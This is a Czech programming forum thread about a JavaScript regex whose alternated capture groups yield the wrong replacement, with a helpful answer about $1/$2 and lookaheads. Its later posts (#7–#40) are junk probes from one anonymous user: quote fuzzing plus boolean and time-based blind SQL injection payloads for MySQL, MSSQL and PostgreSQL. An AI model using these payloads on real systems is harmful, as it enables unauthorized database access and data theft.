Reg. vyraz - nahrazeni znamenek – JavaScript, AJAX, jQuery – Fórum – Programujte.com
 x   TIP: Přetáhni ikonu na hlavní panel pro připnutí webu
Reklama

Reg. vyraz - nahrazeni znamenek – JavaScript, AJAX, jQuery – Fórum – Programujte.comReg. vyraz - nahrazeni znamenek – JavaScript, AJAX, jQuery – Fórum – Programujte.com

 
Hledat
Moderní platforma pro vytvoření vašeho nového webu – Wix.com.
Nyní už můžete mít web zdarma.
Vybavení pro Laser Game
Spuštěn Filmový magazín
Laser Game Brno

Spuštěný nový filmový web Filmožrouti.cz — vše o Avengers, Pacific Rim, Thor, Star Wars…
peter
~ Anonymní uživatel
3286 příspěvků
11. 5. 2018   #1
-
0
-

   

    str = "1*/+-2"
    patt = '[+\\-]+([+\\-])|[/*]+([/*])';    // [+\\-]+([+\\-])    [/*]+([/*])
    reg  = new RegExp(patt,'g')
    while (str.match(reg)!=null)
        {
        str = str.replace(reg,"$1");
        }

To by melo nahradit opakujici znamenka.
Vysledek ted 1-2
Vysledek ocekavany 1/-2
Firefox 58. Co delam spatne s tim reg. vyrazem? A pritom samostatne kazda cast toho reg. vyrazu funguje spravne.
patt = '[+\\-]+([+\\-])'
patt = '[/*]+([/*])'

Nahlásit jako SPAM
IP: 2001:718:2601:258:7cfe:a7...–
gna
~ Anonymní uživatel
619 příspěvků
11. 5. 2018   #2
-
0
-

$1 je první skupina a $2 ta druhá, bez ohledu na to, která část se matchne.

patt = '[-+]+(?=[-+])|[/*]+(?=[/*])';
...
str.replace(reg,'');
Nahlásit jako SPAM
IP: 213.211.51.–
peter
~ Anonymní uživatel
3286 příspěvků
11. 5. 2018   #3
-
0
-

gna - mrknu

Jen jsem chtel rici, ze uz vim, kde je asi problem. Normalne matchuje zleva. Ja potrebuji zprava. Cili
*/+- ... [+\\-]+([+\\-])|[/*]+([/*])
+ je 1 az n. Neni predem receno, kolik tech n veme. nejspis skonci u 1
Nejspis by to vyresil i spravne polozeny ? a duplikovani druhe zavorky s negaci.
[+\\-]+?[^+\\-]
Ale ty rovnitka jsem videl v dokumentaci, kdysi, tak mrknu, jestli to nedela presne totez.

Nahlásit jako SPAM
IP: 2001:718:2601:258:7cfe:a7...–
peter
~ Anonymní uživatel
3286 příspěvků
11. 5. 2018   #4
-
0
-

Jj, tak je to presne, co jsem si myslel, podle dokumentace :)
A samozrejme minusko na zacatku [-xyz] se nemusi komentovat [xyz\\-], ale ja chci zachovat poradi znaku v ramci celeho programu.

Nahlásit jako SPAM
IP: 2001:718:2601:258:7cfe:a7...–
gna
~ Anonymní uživatel
619 příspěvků
11. 5. 2018   #5
-
0
-

Tady je $1 -- '[+\\-]+([+\\-])|[/*]+([/*])'

a tady $2 -- '[+\\-]+([+\\-])|[/*]+([/*])'

Když se matchne '[+\\-]+([+\\-])|[/*]+([/*])', tak $1 nic neobsahuje. Když to bude matchovat zprava, tak se posere zase ta první část.

U toho původního patternu ale můžeš zůstat s replace na "$1$2".

Nahlásit jako SPAM
IP: 213.211.51.–
peter
~ Anonymní uživatel
3286 příspěvků
11. 5. 2018   #6
-
0
-

Hele, mozne to je. Nekde uz jsem resil problemy se zavorkami, ale je to uz delsi cas. Mozna to bylo u php.
a(b)|c(d)
Kdyz nasel a(b), tak $1=b. Kdyz ne, tak dalsi test byl na c(d) a $1=d. Ale fakt si nejsem jisty :)
Ja uz to pak v tom js zacal resit callback funkci a zobrazoval jsem si vsechno. A nejspis to funguje presne, jak popisujes, protoze mi to tam pak alertovalo undefined v miste, kde jsem to necekal

str = str.replace(reg, calc.x);
calc.x = function(match, a, b)
	{
	alert([match, a, b])
	return '';
	}

Kazdopadne dik, problem mi to vyresilo.

Nahlásit jako SPAM
IP: 2001:718:2601:258:7cfe:a7...–
e
~ Anonymní uživatel
140 příspěvků
před 16 hodinami   #7
-
0
-

Nahlásit jako SPAM
IP: 42.49.180.–
e
~ Anonymní uživatel
140 příspěvků
před 14 hodinami   #8
-
0
-

1'"

Nahlásit jako SPAM
IP: 42.49.180.–
e
~ Anonymní uživatel
140 příspěvků
před 14 hodinami   #9
-
0
-

\

Nahlásit jako SPAM
IP: 42.49.180.–
e
~ Anonymní uživatel
140 příspěvků
před 14 hodinami   #10
-
0
-

@@uw4mQ

Nahlásit jako SPAM
IP: 42.49.180.–
e
~ Anonymní uživatel
140 příspěvků
před 14 hodinami   #11
-
0
-

  • 1'"

Nahlásit jako SPAM
IP: 42.49.180.–
e
~ Anonymní uživatel
140 příspěvků
před 14 hodinami   #12
-
0
-

  • @@4KDcF

Nahlásit jako SPAM
IP: 42.49.180.–
e
~ Anonymní uživatel
140 příspěvků
před 14 hodinami   #13
-
0
-

  • ¿'¿"

Nahlásit jako SPAM
IP: 42.49.180.–
e
~ Anonymní uživatel
140 příspěvků
před 14 hodinami   #14
-
0
-

  • ð''ð""

Nahlásit jako SPAM
IP: 42.49.180.–
e
~ Anonymní uživatel
140 příspěvků
před 14 hodinami   #15
-
0
-

  • (select convert(int,CHAR(65)))

Nahlásit jako SPAM
IP: 42.49.180.–
e
~ Anonymní uživatel
140 příspěvků
před 14 hodinami   #16
-
0
-

%3Cblockquote%3E%0A%3Cul%3E%0A%09%3Cli%3E%3Cstrong%3E%3Cem%3E%3Cu%3E%3Cstrike%3E%E2%80%8B%E2%80%8B%E2%80%8B%3C%2Fstrike%3E%3C%2Fu%3E%3C%2Fem%3E%3C%2Fstrong%3E%3C%2Fli%3E%0A%3C%2Ful%3E%0A%3C%2Fblockquote%3E%0A

Nahlásit jako SPAM
IP: 42.49.180.–
e
~ Anonymní uživatel
140 příspěvků
před 14 hodinami   #17
-
0
-

%3Cblockquote%3E%0A%3Cul%3E%0A%09%3Cli%3E%3Cstrong%3E%3Cem%3E%3Cu%3E%3Cstrike%3E%E2%80%8B%E2%80%8B%E2%80%8B%3C%2Fstrike%3E%3C%2Fu%3E%3C%2Fem%3E%3C%2Fstrong%3E%3C%2Fli%3E%0A%3C%2Ful%3E%0A%3C%2Fblockquote%3E%0A

Nahlásit jako SPAM
IP: 42.49.180.–
e
~ Anonymní uživatel
140 příspěvků
před 14 hodinami   #18
-
0
-

-1 OR 2+175-175-1=0+0+0+1

Nahlásit jako SPAM
IP: 42.49.180.–
e
~ Anonymní uživatel
140 příspěvků
před 14 hodinami   #19
-
0
-

-1' OR 2+200-200-1=0+0+0+1 --

Nahlásit jako SPAM
IP: 42.49.180.–
e
~ Anonymní uživatel
140 příspěvků
před 14 hodinami   #20
-
0
-

-1' OR 2+967-967-1=0+0+0+1 or 'rwSnrbNr'='

Nahlásit jako SPAM
IP: 42.49.180.–
e
~ Anonymní uživatel
140 příspěvků
před 14 hodinami   #21
-
0
-

-1" OR 2+33-33-1=0+0+0+1 --

Nahlásit jako SPAM
IP: 42.49.180.–
e
~ Anonymní uživatel
140 příspěvků
před 14 hodinami   #22
-
0
-

if(now()=sysdate(),sleep(5),0)/*'XOR(if(now()=sysdate(),sleep(5),0))OR'"XOR(if(now()=sysdate(),sleep(5),0))OR"*/

Nahlásit jako SPAM
IP: 42.49.180.–
e
~ Anonymní uživatel
140 příspěvků
před 14 hodinami   #23
-
0
-

(select(0)from(select(sleep(10)))v)/*'+(select(0)from(select(sleep(10)))v)+'"+(select(0)from(select(sleep(10)))v)+"*/

Nahlásit jako SPAM
IP: 42.49.180.–
e
~ Anonymní uživatel
140 příspěvků
před 14 hodinami   #24
-
0
-

1 waitfor delay '0:0:10' --

Nahlásit jako SPAM
IP: 42.49.180.–
e
~ Anonymní uživatel
140 příspěvků
před 14 hodinami   #25
-
0
-

JAW2WnTk'; waitfor delay '0:0:10' --

Nahlásit jako SPAM
IP: 42.49.180.–
e
~ Anonymní uživatel
140 příspěvků
před 14 hodinami   #26
-
0
-

COTchBjo';select pg_sleep(15); --

Nahlásit jako SPAM
IP: 42.49.180.–
e
~ Anonymní uživatel
140 příspěvků
před 14 hodinami   #27
-
0
-

PEW82QpX');select pg_sleep(5); --

Nahlásit jako SPAM
IP: 42.49.180.–
e
~ Anonymní uživatel
140 příspěvků
před 14 hodinami   #28
-
0
-

6VLZg8Rc'));select pg_sleep(10); --

Nahlásit jako SPAM
IP: 42.49.180.–
e
~ Anonymní uživatel
140 příspěvků
před 14 hodinami   #29
-
0
-

  • -1 OR 2+559-559-1=0+0+0+1 --

Nahlásit jako SPAM
IP: 42.49.180.–
e
~ Anonymní uživatel
140 příspěvků
před 14 hodinami   #30
-
0
-

  • -1 OR 2+707-707-1=0+0+0+1

Nahlásit jako SPAM
IP: 42.49.180.–
e
~ Anonymní uživatel
140 příspěvků
před 14 hodinami   #31
-
0
-

  • -1' OR 2+665-665-1=0+0+0+1 --

Nahlásit jako SPAM
IP: 42.49.180.–
e
~ Anonymní uživatel
140 příspěvků
před 14 hodinami   #32
-
0
-

  • -1' OR 2+833-833-1=0+0+0+1 or 'TPG0jDNk'='

Nahlásit jako SPAM
IP: 42.49.180.–
e
~ Anonymní uživatel
140 příspěvků
před 14 hodinami   #33
-
0
-

  • -1" OR 2+396-396-1=0+0+0+1 --

Nahlásit jako SPAM
IP: 42.49.180.–
e
~ Anonymní uživatel
140 příspěvků
před 14 hodinami   #34
-
0
-

  • if(now()=sysdate(),sleep(5),0)/*'XOR(if(now()=sysdate(),sleep(5),0))OR'"XOR(if(now()=sysdate(),sleep(5),0))OR"*/

Nahlásit jako SPAM
IP: 42.49.180.–
e
~ Anonymní uživatel
140 příspěvků
před 14 hodinami   #35
-
0
-

  • (select(0)from(select(sleep(10)))v)/*'+(select(0)from(select(sleep(10)))v)+'"+(select(0)from(select(sleep(10)))v)+"*/

Nahlásit jako SPAM
IP: 42.49.180.–
e
~ Anonymní uživatel
140 příspěvků
před 14 hodinami   #36
-
0
-

  • 1 waitfor delay '0:0:15' --

Nahlásit jako SPAM
IP: 42.49.180.–
e
~ Anonymní uživatel
140 příspěvků
před 14 hodinami   #37
-
0
-

  • 1nYMkpsV'; waitfor delay '0:0:5' --

Nahlásit jako SPAM
IP: 42.49.180.–
e
~ Anonymní uživatel
140 příspěvků
před 14 hodinami   #38
-
0
-

  • qxM5lJRF';select pg_sleep(10); --

Nahlásit jako SPAM
IP: 42.49.180.–
e
~ Anonymní uživatel
140 příspěvků
před 14 hodinami   #39
-
0
-

  • PwXDj4SI');select pg_sleep(5); --

Nahlásit jako SPAM
IP: 42.49.180.–
e
~ Anonymní uživatel
140 příspěvků
před 14 hodinami   #40
-
0
-

  • zxFTQtoH'));select pg_sleep(10); --

Nahlásit jako SPAM
IP: 42.49.180.–
Zjistit počet nových příspěvků

Přidej příspěvek

×Vložení zdrojáku

×Vložení obrázku

Vložit URL obrázku Vybrat obrázek na disku
Vlož URL adresu obrázku:
Klikni a vyber obrázek z počítače:

×Vložení videa

Aktuálně jsou podporována videa ze serverů YouTube, Vimeo a Dailymotion.
×
 
Podporujeme Gravatara.
Zadej URL adresu Avatara (40 x 40 px) nebo emailovou adresu pro použití Gravatara.
Email nikam neukládáme, po získání Gravatara je zahozen.
-
Pravidla pro psaní příspěvků, používej diakritiku. ENTER pro nový odstavec, SHIFT + ENTER pro nový řádek.
Sledovat nové příspěvky (pouze pro přihlášené)
Sleduj vlákno a v případě přidání nového příspěvku o tom budeš vědět mezi prvními.
Reaguješ na příspěvek:

Uživatelé prohlížející si toto vlákno

Uživatelé on-line: 0 registrovaných, 8 hostů

 

Hostujeme u Českého hostingu       ISSN 1801-1586       ⇡ Nahoru Webtea.cz logo © 20032018 Programujte.com
Zasadilo a pěstuje Webtea.cz, šéfredaktor Lukáš Churý